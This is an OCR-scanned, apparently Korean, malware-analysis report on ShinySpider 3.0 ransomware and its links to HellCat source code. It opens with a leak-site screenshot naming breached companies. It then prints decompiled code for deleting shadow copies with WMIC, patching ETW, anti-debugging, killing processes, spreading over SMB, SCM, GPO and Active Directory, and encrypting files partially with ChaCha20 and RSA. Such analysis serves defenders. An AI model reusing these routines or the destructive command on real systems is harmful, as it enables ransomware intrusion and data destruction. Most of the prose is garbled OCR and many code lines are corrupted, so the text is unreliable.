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1. 72

SHINYHUNTERS

ROOTING YOUR SYSTEMS SINCE "19 ;)

© Information < Contoct us! #i Hidden Service

Bumble Inc. Match Group i Panera Bread i Edmunds.com, Inc.

entifioble

Infarmation Informatic

306 [compressed) 1.7G (compressed) 10M Records 760M [compressed) 14M Records 12 GB [compressed)
Updoted: 29 Jon 2026 Updated: 28 Jan 2026 Updoted: 27 Jan 2026 Updated: 24 Jan 2026

G ADOWNLORD _ AOOWNLORDO G ADOWNLORD _ A0OWNLORDO

CarMay, Inc. Betterment, LLC. i Crunchbase, Inc. SoundCloud

61M [compressed) 400k Records 1.6 GB [compressed) 20M Records 402M [compressed) 2M Recards 2.8 6B (compressed) 30M Records
Updoted: 24 Jon 2026 Updated: 23 Jon 2026 Updated: 23 Jon 2026 Updated: 23 Jon 2026
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oM Hlo|Ef RZF Al 0|, SLSH = XiM| C|o|E] |Z 7|gt 8} MH|AZ EaaS(Extortion-as-a-Service) HEHZ X2
Zojatn 2025 | 10 ol LHIYCL ol= A=t J|s o] HIojE EHF et RE HHOHS MIdts MHA ZEEZ
RaaS(Ransomware-as-a-Service)2t fSASH HENX|QH =& ~tho| HMiotEl =Ct CHeF i MH[AE UE 0| BxH7HX]
SAMHOoZ 2Ll HIEE FE2 =QIE|X| ¢4 QUCL HH, O|=Ct oM 8 2oll= SLSH 7t XAl RaaS JH&ol| &f3iCt
215l HE QUCL of7[ofl AF2E AA90{Ql ShinySpider & LockBit % DragonForce A|¥3t H|WHH 7|88 298 FEstD
ESXi 7t43} EHENK SAY = JYETE WL 0|2t SEOLL o] HA| MA| HHE HELE FHH 7152 SHEIX| AUACE

J2{H F 11 &, ‘ShinySpider 3.0'0|2h= 0|E2| MZ0| 2/FoflA HARH o A/ dX7F L& EBfLtz| AFFUC

m
—

2. HellCat 2A 3L 7|Hto| ShinySpider 3.0 M0

[F] Functions

scattered LAPSUSS hunters part 7
Function name
v hookshield
f HCWin_hookshield_Initialize

From what I can tell, Mr. Krebs, your "research” is nothing more than

a desperate attempt to damage my reputation and a cheap way for _f] HCWin_hookshield_GetDetector
. show off f| HCWin_hookshield__ptr_HookDetector_initialize
you to show oft. _f| HCWin_hookshield__ptr_HookDetector_Protect

_f| HCWin_hookshield__ptr_HookDetector_StartMonitoring
f | m_HCWin_hookshield__ptr_HookDetector_monitoringLoop

i I HCWin_hookshield__ptr_HookDetector_monitoringLoop
oth know you simply recycled a KELA report from March of this _f | HCWin_hookshield__ptr_HookDetector_performScan
. o o f| HCWin_hookshield__ptr_HookDetector_GetStatistics
downloaded a log, and turned it into an entire article. | HCWin_hookshield__ptr_HookDetector_writeMemory
gratulations, Krebs! You finally learned how to use Google. f | HCWin_haokshield_detectHookType

f | HCWin_hookshield_getExportDirectory

"f | HCWin_hookshield_compareBytes
HCWin_hookshield_getModuleName
HCWin_hookshield_getFunctionAddress
HCWin_hookshield_getOriginal Cffset

HCWin_hookshield_Initialize_func1

3.You also asked if ShinySpider was | erated..Isaid Ididn't
know and that the only thing i have done was simply sharing the
Hellcat source code “or them to use as a base. Anyone with half a
brain can see that ShinySpider and Hellcat are now completely
different ransomware variants. Everyone knows you're just
someone who recycles old garbage for a bit of attention.

v
HCWin_killtask_init
HCWin_killtask_Initialize
HCWin_killtask_ForcekKillTask
HCWin_killtask_process32FirstHashed

f | HCWin_killtask_process32?NextHashed

[12! 5] HellCat AAAE A2 F=Z Y ShinySpider 3.0 0flX A& g4+H

RRERESRRRS

Y%Lt Go 7|dte] HellCat

inySpider 3.0 M7} HellCat o] AAFEE J[HOR IHEHRSS
t 2} ShinySpider 0| ZEXCZ
A

| Sh
ZEetE HEL o B2 Js0| ZeE HE & 2 77t IR, HellCa
=xt

#MLol= 7150
ZMsts ZEQt S dhAlo] 79l %"E'Ef Zi0| =olstict, 1 Qo= ShinySpider Y& MEO|M "HellCat Windows
version”?| UXE FHE[E= "HCWin" EXIE0| ZetEl ef7t O WAHRMCH= ©E 0|F0{ EOf, ShinySpider 7} HellCat

[=}
YY) AATES T HLE HAHAS L 4 ULk 2 HHO| T2 oS Ee 2k,

Hi! EAIE Jkl-x-" 2Z A3 Ol‘ggl.
OZNA/MH|A B, C|HZY 2E,
B SAM2 A, 22 ClA3 2433, | Anti-Hooking, Anti-Injection, Anti-
el EAHE AF|, 22 C|A3 Y3} DIZNA/MHA E8, CHZ 2E, Debug, 22| 2%, ETW 23,
Anti-Hooking HESZ 28 Z( 433} HESRA
MO} OJHIE 21 AN| HIEtSIH A,
Xi7b AMH|, C]A3 Hl Z7F AMg|

oL T
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Zt HEEE 7|59 R57I OIS Ho|X| SEXHRE EXdt= 7|52 SYsHAl S&SHX|TH CIHZ ZE0]| Xo|7t EXHSh= 20|
stoldlict, C|HA 2EJt 2M31El H HellCat 2 "HClogs.HC” 2= IHlof| &g 28 XESIHH, ShinySpider 3.0 2| EL
Ero| =1 iAo X&Hst= 20| ot A Fof| HH TEDEN| STt
|_|HCI|:gs HC # H

1 2026/01/726 12:42:41 === Proceszs Started ===

2 2026701726 12:49:05 No hooks detected

3 2026/01/26 12:54:44 Shadow copies deleted.

4 2026/01/26 12:56:21 Scanning roots:

: 2026/01/26 12:56:54 C:h

[22 6] CIHZ ZE H|u(Z}: HellCat, 2: ShinySpider 3.0)

3. ShinySpider MO AN 24

ShinySpider 3.0 2 Windows 2&H|HE EIZICOE sH= Go 7|8t MM Z, 7|= HellCat AATEE HIEHOE 0] 7|S0]
ZF7tel HENCH SZXS2 ESXi ESE7HK| EIE & oFEUS LAleh HE o, 0l gz 9/ He7t OF HoE
A2 olojsict. ooy izt 2 EMoME #xHTEK] SHE Windows HE HMHE EM MO Z Mol ShinySpider 3.0

O
of TZot SX WAS MSIH O/ Sof BT IHY WE U ZUE BT A S K5 AMNOIES HTstAt Bt

Okl

ShinySpider &= o] M3 oIxt ol glo| WRE HHS Jluoz SEICL tiEEel M 22 True(l)/False(0)2
OlZOiM ZE Jl50| M GIRE ZWstn, 1 oo|E s Dot M| ABE IF Huet e eyt maslof Yrk
u]

=
TAMOZ 7t UFE S B20| HHE S OLIXII, HolA MIE LT SMS AMHE TESHH ofzHet 2Tt

delete_eventlog OHIE 27 AN o8
change_wallpaper HiEeH HE off
check_mutex Mutex &2l {2 (5 ¥ X))
encrypt_share HERZR 37 20 U=t o2
kill_service_process MH[A/ZENA B5 o2
network_propagation HESZ ™ot o2
self_destruction X7t AH| of 2
cleanup_disk ClA3 4l 37t He2| o2
etw_evasion ETW(Event Tracing for Windows) 22| G{&
debug CHZ 23 &3 o2
encryption_mode 53} WA (normal: A, partial: £&, automatic: 37|0f| w2 Xtz MEH
encryption_mode_len sl mE 2XE Ho|
credential_list BAE 0l FH Z|AE
credential_list_len SAE 91F HE Z|AE 20|
propagation_wmi WMI(Windows Management Instrumentation) 7|8t HIE9/3 o} of&
propagation_scm SCM(Service Control Manager) 7|8t HE${3 Ho} of&
propagation_gpo GPO(Group Policy Object) 7|2t HES{3 MOt o
propagation_netscan MELU EfM o2
propagation_adenum AD(Active Directory) EH o{&
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A= AR J|H A=HQIE HoF 2H0f| ofph BIX| 81 AHEHS S|SHo| 2o Cifet Hs 8l 23] 7S AFEelt. A9

|4h 2ot £2M2 ofd HRIE EXISH| fIdi BXIE DLL 2 Che ZRMAO FUStD Nt = Zw AEQ AAH &
g5 HESHH ST e ZE Al 2E FEE X8 DLL 2 MU= TZ2M A0 HIE HLUHZSHAHLL EAJoiCt, Lot
=2 OMIE 2 X DY UYI(ETW)E EE3 A9E +W-EMotk=s YA AEEICL of2{et 2HH0A ShinySpider =

ETW HZx&at OH—IEf EI1IEEI HS J|%, Anti-Injection, Anti-Hooking 7|2 & A2s Eot £2Mo| HAMeof
o L, ZLEZ O{RE AMH0| 2l = ot HY| X7 HHEX] REE KOst

ro

mx
od 2
oz

SetProcessMitigationPolicy 2| ProcessExtensionPointDisablePolicy £ Z43}3f 2|5 DLLO| MM TZM|A0]|
El= AS YXoict. OCHEL=2E= C|ojE AW UX|(DEP) FMES dsistn, & &4 Al ZERMAI BEREHEER
D2NAC HZ2E2| HESL RAE MIMS diof Hot SR MH0| 2SI RSIEE it

golang nrg %_sys_windows_NewLazyDLL("kernel32.d11", 12);

55:3'3: =sDEPPolicy = gelang org x_sys_windows_ ptr_LazyDLL NewProc(vd, "SetProcessDEPPolicy™, 19);
if ( !'golang_org_x_sys_windows_ ptr LazyProc_Find(SetProcessDEPPolicy).tab )
1
p_ 1 uintptr = runtime_newcbject(&RTYPE__ 1 uintptr);
(*p__1_uintptr)[e] = 1; // PROCESS_DEP
gnlang_nrg_x_sys_windnws ptr_LazyProc_| Call(-f rocessD ;» p_ 1 uintptr, 1, 1);
¥
HeapSetInformaticn = golang_org_x sys_windows_ ptr_LazyDLL_NewProc(v7, "HeapSetInformation™, 18)};
if ( !'golang_org_x sys_windows_ ptr LazyProc_Find(HeapSetInformation). tah )
1

1 = runtime_newobject(&RTYPE_security_HeapInformation);
n-»*HeapClass = 1; // HeapEnableTerminationOnCorruption
y_| ormation;
runtime newohject(&RTYPE__4_uintptr);

4_uintptr)[2] =
(*p_4_uintptr)[3] =

golang_org_x_sys_w1ndnws ptr_LazyProc_Call(HeapSetInformation, p_ 4 uintptr, 4, 4);

[12 7] DEP BM 4% U Bl 2F 4

MNAE =& pdb Hot £240] ofs HER[M ZLEZ ==X &6ty fIo] AMAH =& g9l 2 16Bytes £
XS 5, HIHez AE IL WM MEFC AAH =E g2 H|ws| £Z HEE TSI
debug@od: BEEEEACERE] loffset unk CoPeRRAGDR ; NtAccessCheck]|
debug@94: 8806E6CEE0]1 1eh
debug@94: 8800860201 18h
debug@94: BeREEECREEE] offset aNtaccesscheck 3 "NtAccessCheck"
s 94 - AARARRCARER
SEEUE:%/:::::::E:::_ Bi? ¢ unk COBOBOAED debug@65 : 20RERRCARRERAEDE unk_CPBROOAEDD db A4Ch ; L
dEL“3:;j'::::::E::: zehse HE_ debugBes : 98EBE8CE8086AE01 db  8Bh
] o - i
dELucgaz':;:::::::: ok debug@is : BRARRECERRABAGD2 db @D1h
eDUgEIS gl g . - ]
dEEUEEQL'BBEEEEFEEE“ offset aNtaccesschecka dEhuESEE'SSSSSSEGGGBBHCDJ db-oBh
I T debug®Es : #80000C00000A6D4 db 2
DU SIS T s A . - =
debugB4 : BBEBBACERE] offset unk_CPeeeeA7eq debug@ts : 000000C0000AEDS db ¢
IS . - debugBESs : 880888CB0860A6D6 db @
a =gt in |
dELUGZ;,':;:::;::::, 1gh debug@ss : 000000 00000AED7 db @
ebug@o4:eeaaenCens - nEnE ce
debuzcﬂi'BBEEEEFEEE“ offset aNtaccesscheckb dEhuESEE'SSSSSSEGGGBBHC & db ereh
I T debug®es : @30000C00000A6D3 db 4
DU SIS T s . - nENA .
o eenecon oFfect unk CORDBBATLA debug@65: 6000BCAB0BAAEDA db  25h ; %
debuspol: ORERRCERR] h - debug@6s : 086008CBRBOBAEDE db 8
a =gt in |
I igh debug@65: 000RACERREEAEDC db 3
ebug@g4l : GRARRACRER - N ==
debug@od : pEEBRBCERA1 offset aNtaccesscheckb @ debugaes SSSSSSEGGGBBHCDF db o :h
. = debug®ss : @80000C00000ADE db  7Fh ; O
debupBES : 338888C88860A6DF _db 1

[23 8] m=2jo] MEE ALY 5= S

r
Mo
1]
[0
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ntdll.dll:@@ee7FFA4EABR3GE ntdll EtwEventWrite proc near ntdll.dll:@@ee7FFA4EABB388 ntdl]l EtwEventWrite proc near
ntd1l.d1l:8ee67FFALEABBSEE ntdll.d11:8ee67FFA4EABRSEE mov rax, BCSAE@Ah
ntdll.d11:@@eee7FFAAEAR@3BE var_38= word ptr -38h ntdll.dll:@eeee7FFA4EABBSEA jmp rax
ntdll.d1ll:Beae7FFA4EABBSEE ntdll.dll:eeee7FFALEARB3BA ntdll EtwEventWrite endp
ntdll.dll:088687FFAAEARBGZEE mov ril, rsp ntdll.dll:@80687FFALEABBIBA : :
ntdll.dll:@@087FFAAEABB3@3 sub rsp, 58h ntdll.dll:@8087FFAAEABBIOA | ___J_m_p_g:_al_l_ba_c_k_fu_r_l_c_tlgn__
ntdll.dll:000687FFAAEABEIET mov [r11-18h], r9 ntdll.dll:eeea7FrAdEree3eC db  96h
ntdll.dll:@eee7FFA4EARB3BE xor eax, eax ntdll.d11:@e887 @e3eD db 98h
ntdll.d1l:88867FFAAEABRSED mov [rl1-2eh], r&d ntdll.dll:@e8a7 @a38E db  85h
ntdll.d1l:@eee7FFA4EARRS1] xor rod, rod ntdll.dll:@eaa7 @838F db 43h ; C
ntdll.dll:088687FFAAEARBEI1L mov [ri1-28h], rax ntdll.dll:eeea7 22318 db BEBh

ntdll.dll: eeee7FFA4EARE31E xor r8d, rad ntdll.dll:eeee? 28311 db 45h ; E
ntdll.d11:00887FFAAEABBI1E mov [r11-38h], rax ntdll.dll:@aea7 28312 db  33h ; 3
ntdll.d11:088687FFAMEABEILIF mov [rsp+58h+var_38], ax ntdll.dll:@aea7 28313 db 8C9h
ntdll.dll:088687FFA4EARBB324 call sub_7FFA4EABRIEE ntdll.dll:eaea7 28314 db 4%h ; I
ntdll.d11:88687FFAAEABB329 add rsp, 58h ntdll.dll:@e8a7 28315 db  85h
ntdll.d1l:@ee87FFA4EABRS2D retn ntdll.dll:8@887FFALEARB316 db 43h ; C
ntdll.dll:@88687FFA4EARBB32D ntdll EtwEventirite endp ntdll.dll:@8ea7FFA4EABB317 db BDEh

[22 9] TiX| M EtwEventWrite &(Z) ¥ TX| ¥ EtwEventWrite &(2)

Hot aRNM2 P3dts  Zmpt ofa welr] Slst SMo= WM AM® Zol Mo As|=of

o
ThreadHideFromDebugger M2 &Mstslf HZE CIHAHE slix[stct.

golang_org x_sys_windows_NewlLazyDLL{"ntdll.d11", 9};

MtsetInformationThread = golang_org x_sys_windows_ ptr LazyDLL_MNewProc(v@, "NtSetInformaticnThread”, 22);
i runtime_newobject(&RTYPE__ 4 uintptr);

E*l = -2;

(*p__ = 17; /{ ThreadHideFromDebugger

(*3_ _ = 1; Jf True

(*p__ 4 uintptr)[3] = @;

9 = golang_org_x_sys_windows__ptr_LazyProc_Call(NtSetInformationThread, p_ 4 uintptr, 4, 4);

[23 10] Anti-Debug

=AM Azolof M, AFBAL o|2 A|ARME F76IK] ROI=E x| AA” EXists MY SARE

]

A3t

v5 = fmt_Sprintf(
"cmd.exe fc C:\\Windows\\System32\\wbem\\WMIC.exe shadowcopy where \"ID="%s"\" delete”,
78,
13,
1,
1);
& = HCOWin_shadow_runCommand(v5.part_@, vS.part_1);
f ( ve.part_8 )

v12 = Bu;
runtime convTstring(vs.ptr, v3.len);
v11[@] = &RTYPE_string;
A1[1] = w73
*&v12 = ¥(ve.part_@ + BLL);
*(&v12 + 1) = vE.part_1;
log_Printf("Failed to delete shadow copy ¥s: ¥wv", 35, v1l, 2, 2);
}
(32 1] e SAR2 AR| HHof
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ot ATE M EF MH[ASt TRMAE AKX SECL TE e MH|AQL T2MAE SUTH Z|AEE FH1EHK]|

—= o=2C

MH|Ao| FR E|AESL §AFS| Yx[Gts FR0T B=SHH, ZZHAE ol Fq EAAMO| w2t EXEo| TEE EE

i BHA(Z2MA)

(?i)* <TARGET_NAME>.*(?:\.exe)?$

MHIA/ZZNA =2 A B|AE

sql, oracle, ocssd, dbsnmp, synctime, agntsvc, isqlplussvc, xfssvccon, mydesktopservice, ocautoupds,
encsvc, firefox, thbirdconfig, mydesktopqgos, ocomm, dbeng50, sgbcoreservice, excel, infopath, msaccess,
mspub, onenote, outlook, powerpnt, steam, thebat, thunderbird, visio, winword, wordpad, notepad

ShinySpider = ZZ CIA3E A=I517| Tof|, HxH AL HBE HERAE ZFAZICH 24 WM A|A”Q HEXI
SYUsH MU0 s SAE F, SMB EEJ} F2I00 W20| 53t SAEN HHS ASHTL 6 Aol Hxf A2
MEX AE 215 FEE AEs7Lt StEZEE 215 FE 2AEE 83 QF5S Alxoltt 20 43¢t SAE RE IR
ECE =olstH, E6E 20l "$” 27t S07t= 22Xt 2Ast EEE MQSt ZE HEYR 3¢ TLS =ict
if ( debug )
vEl[@] = BRTYPE_string;
vELl[1] = Boff EB3EBB; // [Network Shares] Starting Phase 1: Network Discovery
log_Println(vel, 1, 1};
shares = HCWin_shares_DiscoverNetworkHosts();
if ( debug }
vel[@] = &RTYPE_string;
vEl[1] = Boff EBBEZB; /{ [Network Shares] Starting Phase 2: Testing share access
log Println(vel, 1, 1};

}

vl = credential len;
t_res = HOWin_shares_TestShareAccess(shares.part_®, shares.part_1, shares.part_2, credential_ptr, credential_len);

if ( debug )

1
vEl[@] = &RTYPE_string;
vE1[1] = Boff_EB3E3@; // [Network Shares] Starting Phase 3: Share enumeration and encryption
log_Println(vel, 1, 1};

while ( v4 > @ )
£
sync_ ptr_WaitGroup Add(p sync_WaitGroup, 1);
v5 = runtime_newobject(&unk_E35748);
vE = main_encryptNetworkShares_funcl; // count shares
*u5 = main_encryptNetworkShares_funcl;

if ( debug )
vEl[@] = BRTYPE_string;

vEl[1] = &off EBBESB; // [MNetwork Shares] Starting Phase 4: File encryption
log_Println({vel, 1, 1};

while ( v25 > @ )
{

w43
v49

ptr->NetName.pir;

*&ptr-rNetName.len;

Remark = ptr->Remark;

HostIP = ptr->HostIP;

sync__ptr_WaitGroup_Add(vz3, 1);

v27 = runtime_newobject(&unk_E2584A8R);

*v27 = main_encryptMetworksShares_func2;// encrypt network shares (except *3 folders}

[33 12] HEYA 2 =G Y53
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HESZ 37 ECE d=zstot 5, o AlAH LS HESQR0 Exsts CHE ZAE0N /N MOHE ALiCt
HESRZ Mooz 215 FHEIF Q57| W20, #HM Aol 25 YEE Uiz MESL SIEIZEE 21T HEE HEd|
Hototch toot AFEZrol w2t 3 7| Mok WaAlS E8% = ACL WMI HHOE A8 HFA0Z HMHANE H™AF|HL
SCM 2= HYo| MHAE Mus M = JAOM, GPO AIEE SEOE FAE EIR A XS2E g7t
HAEEE St AT EXICL O 2o LHREIo| siest= MEU CHH(10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16)0]|L}
X AL S HERA oM L3t iyS BMst7LE, S2et ADOf| HEE SAEES BIMY Toteh L [0t
MHIt "propagation_netscan”0| EM3lEl 22, UHES3 35 E0 Azt ATt WAOF x| AARI0| AtEFQI
MEYOM SMB EEZ F£0| 7H53t SAEE Al"s| Mut chAbol Z713tct
if ( !net__ptr_IPNet_Contains( , v37.part_@, v37.part_1, v37.part_2) || »= 512 )
break;
vli4 = H
LODWORD (ptr) = *( + 3);
if &8 l= @xFF )
{
; net_IP:St'ing(*&U14);
[e] = 8;
[1] =
runtime_convTstring( .ptr, .len);
[@] = &RTYPE_string;
[1] = v21;
= fmt_Sprintf("¥s:445", &, » 1, 1);
LDDNDRD( ) = lececoess;
*(&vS - 3) = net DialTimeout("tcp”, 3, .part @8, .part 1, 166006668);
[32! 13] SMB EE ¥ZE AL

st
=2 0O

MEZ “propagation_adenum”0| EAsiEl
TH|Qlof|

MY 2|AEZ 7MLt

HZE SAEES Bolsp|

o
70:|_I_,

2l8iM NetServerEnum &2 A}23617LI ADODB® %

M AlARMO] EetEl Lofjole HZEE MO chatofl Zobetct.

i olol|

ZA

E=
—_—
= F~ —
AolIE E9 HZE BE

if ( !qword_186BBEFE )
HCWin_propagation_Initialize();

¥

oW ®
P

[

-H

181;
&v21;
BxFFFFFFFFLL;
&v17;
&v15;

3;

Bu;

[yt

| [ T | | | (Y S -~ T [N | I |

HCwWin_apihash__ptr_APIHash_CallAPI(gqword_l@cBBFS,

"netapi32.dll”, 12, "NetServerEnum", 13,

[22 14] NetServerEnum

6 ADODB: COM 7|4t Hjo|E{ B2 7|22, OLE DB Provider & 3%

i 20] CHSAIE|(1600-7028)

SK’P

o

S 23t SAE ZHM

AbsOp

s el §

il Cllo[E{t[o] OIL|2} LDAP Provider £ 0|23t Active Directory 2|0 Al
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v24 = HOWin_propagation_ ptr Propagator_domainTeDN(al, v&7);
sa3[e] = e;

/83[1] = 8;

runtime_convTstring(v24.ptr, v24.len);

/83[@] = ARTYPE_string;

.33-[1] =

v2e = fmt Sprlntf("_D \P:/f/%s", 9, wvB3, 1, 1);
.:3-[3]

/83[1] = a-

runtime_convTstring(v2e.part_®, v2c.part_1);
vas[e] = &RTYPE strlng,

v83[1] =

v74 = fmt Sprlntf("S---CT dNSHostName, cn FROM "¥s' WHERE objectCategory='computer'”, 64, w33, 1, 1);
se[@] = BRTYPE_string;

[1] = &v74;5

v81 = &RTYPE_ ptr_ocle_IDispatch;

"o

glthuh com_go_ole_go ole_cleutil CallMethod(ves, "Open”, 4,
[22 15] ADODB .*;_'QIE o.ﬁj

]

2, 2};

r
AE M

for |2

HI} hato] Z7tEl o|Folls R0l w2t WMl =2 H 2t SAEOIN HHRANS MBIt £ WA B N
2 sAEC Al Briof W 8 TAC 0|S0Z WO AS HARIH, WMI = Tt NS MRS ZINAZ

2}
HYAIF| SCM 2 SAtE HEAHE MulAZ SEor § HAsITt.

M| A ZE: \<Domain>\ADMINS\TEMP\[a-zA-Z0-9]{8}.exe

v52 = HCWin_apihash__ptr_APIHash_CallAPI(qword_186BBF8, "kernel32.d1l™, 12, "CopyFileW", 9, w35, 3, 3);
if { vsZ.part_@ )

HCwln propagatlon ptr_Propagator_installService(al, ptr, len, w37, vZ.part_1, v48, viS.part_1);
3 S.part_1;
p 2 S.part_e;
if ( !.zi.part_a )

started = HCWin_propagation_ ptr_Propagator_startService(al, ptr, len, w37, vZ.part_1)};
if ( started.part_@ )
1

v43 = started.part_1;

HCWin_propagatien_ ptr Prepagator_cleanupService(al, ptr, len, w37, vZ.part_1);

2 = started.part_e;

- _'T,i
h
else

time_Sleep(2ee0220080) ;

HCWin_propagatien_ ptr Prepagator_cleanupService(al, ptr, len, w37, vZ.part_1);
v44[@] = @;

s44[1] =

runtime_convTstring(ptr, len);

va44[@] = BRTYPE_string;

sa4[1] = :

log Printf("[Propagation] SCM deployment successful on ¥s", 45, w44, 1, 1);

[22 16] SCM & S¢t 0] T}

otek “propagation_gpo” SMg AIEstH MM IIUS AD o IR ZE0| SAE 5l GPO AX/EE AIEEE
g8l sAEV ZO2Y 0 (522 A7 HHETS St

. HM 0] SA HE: \<Domain>\SYSVOL\<Domain>\scripts\[a-zA-Z0-9]{8}.exe
. ASZE Ho| FAZE:\<Domain>\SYSVOL\<Domain>\Policies\<GUID>\Machine\Scripts\scripts.ini
. GUID: {31B2F340-016D-11D2-945F-00C04FB984F9}
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DefaultGPOPath = HCWin propagation_ ptr Propagator getDefaultGPOPath(al, *(&a3 - 1));
if ( DefaultGPOPath.len )

*y25 = DefaultGPOPath;

V27 o= 73

v2e = "Machine™;

V29 = 73

v28 = "Scripts”;

Vil o= 11;

v3B = "scripts.ini”;

v7 = path_filepath_Jeoin(v2s, 4, 4);

v1l3 = path_filepath_aAbs @ 8(v7.part_®, v7.part_1, v8, a4, a5, v9, vl@, v1l, vl2, v2a, v2l);
o5_Mkdirall(vlis, v7.part_1, 493);

v24a[@] = @;

v24[1] = @;

runtime_convTstring(ad, as);

v24i[@] = ARTYPE_string;

v24[1] = vid;

v15 = fmt Sprintf({"\n[Startup]\n@CmdLine=%s\n@Parameters=4n", 36, w24, 1, 1);

[32 17] NZHEE A3ZE MY

HERZ 3% 20 =3t HERR MOt 2aE 0|0z oIz AAHIN A= ZZ CIAIE AZSIoICE HA A|AHQ
FE [AEZ|IRE ZE 59l CIAEZIE £3[61HM =AHoz Azolsh=0, =t oo CIEZ(et oY, el HExt=

X efetct.

ot} oflel Cl2Elz2)

“
b
s

$recycle.bin, config.msi, $windows.~bt, $windows.~ws, windows, appdata, application data, boot,
google, mozilla, program files, program files (x86), programdata, system volume information, tor
browser, windows.old, intel, msocache, perflogs, x64dbg, public, all users, default

A=} o2 m
autorun.inf, boot.ini, bootfont.bin, bootsect.bak, desktop.ini, iconcache.db, ntldr, ntuser.dat,
ntuser.dat.log, ntuser.ini, thumbs.db, R3ADME_1Vks5fYe.txt

Y=o} o|e| HEX}
386, .adv, .ani, .bat, .bin, .cab, .cmd, .com, .cpl, .cur, .deskthemepack, .diagcab, .diagcfg, .diagpkg, .dll,
.drv, .exe, .hlp, .icl, .icns, .ico, .ics, .idx, .Idf, .Ink, .mod, .mod, .msc, .msp, .msstyles, .msu, .nls,
.nomedia, .ocx, .prf, .ps1, .rom, .rtp, .scr, .shs, .spl, .sys, .theme, .themepack, .wpx, .lock, .key, .hta,
.msi, .pdb, .[A-Z0-9]{8}(encrypted_file)
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ot ofssh= J|2Hez AFt XYE d=s 40| mEt A gzelet RE ADeE AFILh

2 =3t M2 ofd
MHE A=3t5H=E normal, MA| 37|12 28%0t ASsISH= partial, IHY 3710 w2t sst WA MHSH= automatic, &
372 FE2EICE

Normal / Automatic ({SIZE} < 100MiB) Partial / Automatic (100MiB < {SIZE})

Encrypted Header | Encrypted Header | | Encrypted Header ’ | Encrypted Header ’

Normal Data

2MiB Block
5% of the total size 0.5MiB Block 2MiB Block

Normal Data Normal Data Normal Data

E Entire D. ' :
ncrypt Entire Data 5% of the total size : 2MiB Block
: 0.5MiB Block :

Normal Data Normal Data Normal Data

Normal Data Normal Data

{SIZE} < 1MiB 1MiB < {SIZE} < 100MiB 100MiB < {SIZE}

[ Encrypted Data

Normal Data
[32 18] Az WA
& Yool 2 A oY 37[9| 28%F A=otE MM O floH 2b minich HMESH /IXIE MEStn of2f EX
HIZ A=SE s, e=etEl SEO| £ 3|7t 28%7t E WiHK| HIESIC AHS| HEFTH fIX|2tH S| EXII
MZ 2 XS melol AR FZ0f| 7|kt sHA| Ztel 49l 8Bytes E AIER MYt L2 AT /KIE M| WiZo
0|24 S0 X7t SiCt
encryption_size = 8.28 * filesize;
vll = encrypticn_size;
if { lencryption_size &8 filesize > @ }
{
68 = num_32;
vll = math_Min(filesize, hashed_filepath, num_32, num_32_1, v4, v5, v6, v7, vB, *&3B[@]);
num_32 = vea;
cr;pto_;aazsﬁ_Sumzsﬁ(hashed_filepa:h, num_32, num_32_1);// sha256(sha256(filepath))
vio[@] = viE[e];
v39[1] = v3B[1];
parsed_hash = encoding_binary_bigEndian_Uinte4(v3o, 8, 32);// parse uppder 8 bytes
seed = text template parse_ ptr ListNode Copy(parsed_hash};
math_rand_New(seed, 8);
w53 = v14;
if ( filesize »= Bx1l0e@88 ) // select block size
{
vl = Bx280080;
if ( filezize < BxG428008 )
vl = me
block size = vl;
3
else
{
block_size = filesize / 2@;
1
[23 19] B & 453} offset W
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olo - = . o > —— o .
2t ofe HMEstA| MAHEl 32Bytes 7|2t 12Bytes Nonce £ A3l ChaCha20 ZI2|EC=Z AS3EICH MY s3to)
3 [ ) - ol=3 ol o ' 1= o]
Al83%t 7|= 256Bytes 371°| RSA 37H7|2 LsstElct LzsbeEl otlol i o= =332 It o2 HIEHH|O|E{ 7t
K= H3SF A Ol = - = —_ ot ol=3| o ol
MEEICL HolH gd9g 12E £ Y= FEXE 22 RSA-2048 2 E3E 453l 7|, Nonce, ¢=3t 2E, 212 IHUHO|
HH OolsS3 olo (ol e] Foxe) =2 A Ol= 3] =1

MEEH, 22 Azt melo] 42 Adzst 2IMS T U= A= &H MEELCEH
D000REDB: 53 50 44 52 B2 01 81 00 59 AC 33 SPDR Y3 v = =]
9000BE10: 6D B2 BA 97 1B 37 65 FE EO CA 5B 47 BE 2A F9 38 m. . .7e. [6.% ; c L - =1 L
00000020: F6 OF 3F E1 B1 C3 29 80 03 DY 62 B9 21 56 82 58 .2 ..). b.!V X Name Col. Start * End Size Type Value
900800368: 9E D4 2E D3 3D 72 41 4A 4D 6C 74 E8 CS 8F 3B AR ... =PAJMLt. . ; ¥ header 0x00B00B0 | BxDAAODISD | 358 bytes | struct SPDR_Header| { ... }
D000BE4B: 23 43 16 93 84 DS 10 4F 7A F3 24 D2 DA A4 91 E1 #C 0z § EEAE I oxoocooeee | 0xB0G00BE3 | 4 bytes  string “SPDRY
9000BE50: B2 6F 4A Al 96 7C 9F 46 47 1 AF 31 8F 31 A3 FO .oJ | FB 1.1 Y BN 0000004 | cxococ000s |2 b 16 )
00008060: A8 AD AB 15 CF F6 7C AF 7A B1 2C EB 8C C7 C7 43 lz.,...¢ Sl X X ytes i
00008078: 51 B3 S5A BC ES5 OF C4 01 7A 1A 32 74 76 91 18 FF Q. Z z 2ty > fixed 1 0x00000006  DxDOOODEEE | 3 bytes us[3] L oes |
DO0DEEBO: 4&A 43 A6 0 79 BO CE 8B EF 16 DS AA BF 76 FE 2E JC. y V.. enc_key_len 0x00000BEY | BXDABOBEBC | 4 bytes  u32 256
oo D B .t o

: wPA, | Z X
D00DO0BO: AB 9A 7A B9 7A D9 78 A7 09 7B 97 D8 98 68 6C 86 .z z.p. 1.  hL EAnCICE 0x0000010D | 0x0DO00118 | 12 bytes  us[12] [...1]
000080CO: 21 52 55 61 98 67 98 DB 8D BY AS A9 B7 FB 68 6C !RUa o n enc_flag P oxeosoo119 | 0x00800119 |1 byte U8 80
09008000: 98 6C A8 67 98 16 94 B9 D01 B9 21 04 65 55 2C DE 1.9 1eu, hash_len [ 0x0080011A | 0x00800110 |4 bytes  u32 32
o i el | > oasoone oasouns 2 s ] o

3 iQ.u.M j =
00000100: F6 AD OF 86 D9 08 6A F9 BA 60 19 B4 61 4B 65 EE . ake orig_name_len OxB0B0013E | 0x0008141 |4 Bytes | us2 ®
00000110: DC 27 8E BD 76 6D 83 FC C8 50 20 1C 846 'ooum P or‘ig_name 0xB0000142 0xB0000151 16 bytes String "C:\$M\tes‘
00000120: FB AB DD OA 98 3F 59 93 72 2C 70 26 3E 2F E3 A6 W or, bee/ unknown@ 0 0x08000152 | BXBOABO1SS |4 bytes  u32 ]
